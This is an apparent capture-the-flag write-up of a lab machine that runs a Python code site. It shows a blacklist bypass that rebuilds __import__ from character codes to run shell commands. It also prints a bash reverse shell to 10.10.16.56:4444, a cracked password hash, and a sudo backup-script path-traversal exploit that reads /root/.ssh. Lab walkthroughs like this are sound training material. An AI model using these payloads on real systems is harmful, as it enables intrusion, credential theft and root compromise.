└──╼ $nmap -p- 10.129.37.54
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-25 17:57 UTC
Nmap scan report for 10.129.37.54
Host is up (0.054s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnpOn port 5000 we get a site, a python compiling site. Nice.

The thing is, it got a few restrictions. Not so nice. Any imports are forbidden and most of the fun stuff. List of banned stuff:
open__builtins__evalexecossystemwritebase64popen

First working iteration:
b = globals()["".join(chr(x) for x in [95, 95, 98, 117, 105, 108, 116, 105, 110, 115, 95, 95])]
i = b["".join(chr(x) for x in [95, 95, 105, 109, 112, 111, 114, 116, 95, 95])]
m = i("".join(chr(x) for x in [111, 115]))
s = i("".join(chr(x) for x in [115, 117, 98, 112, 114, 111, 99, 101, 115, 115]))
content = s.getoutput("cat /etc/passwd")Using this we can run basicly any code we want, but there are no -c, -e flags in this version of netcat so what I’ve done is launch http-server with shell.sh file, got it using wget, run it and got in.
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.56/4444 0>&1Getting user
We can then find in /home/app-production/app/instance file called database.db with the following content when using cat:
Mmartin3de6f30c4a09c27fc71932bfc68474be/ #Mdevelopment759b74ce43947f5f4c91aeddc3e5bad3
Crackstation gets us password for martin: nafeelswordsmaster. We can then ssh as him.
Getting root
In home folder we have code_home_app-production_app_2024_August.tar.bz2. Runnig sudo -l we learn that we can run /usr/bin/backy.sh with sudo.
#!/bin/bash
if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
json_file="$1"
if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
/usr/bin/backy "$json_file"task.json:
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/app-production/app"
],
"exclude": [
".*"
]
}To get root, we can create backup of /root. Our backup has to start with /var or /home. Normally any attempts of adding path traversal to .json file would fail, because of jq command that corrects the files before backy is run. What we can do, is store the file as a variable and then execute the script with it, thus bypassing path traversal blockade. This can be done as following:
#!/bin/bash
# Config
TARGET="/var/../root/.ssh/"
DEST="/home/martin"
TASK_JSON="/tmp/task.json"
BACKY="/usr/bin/backy.sh"
cat <<EOF > $TASK_JSON
{
"destination": "$DEST",
"multiprocessing": true,
"verbose_log": true,
"directories_to_archive": [
"$TARGET"
]
}
EOF
sudo $BACKY $TASK_JSON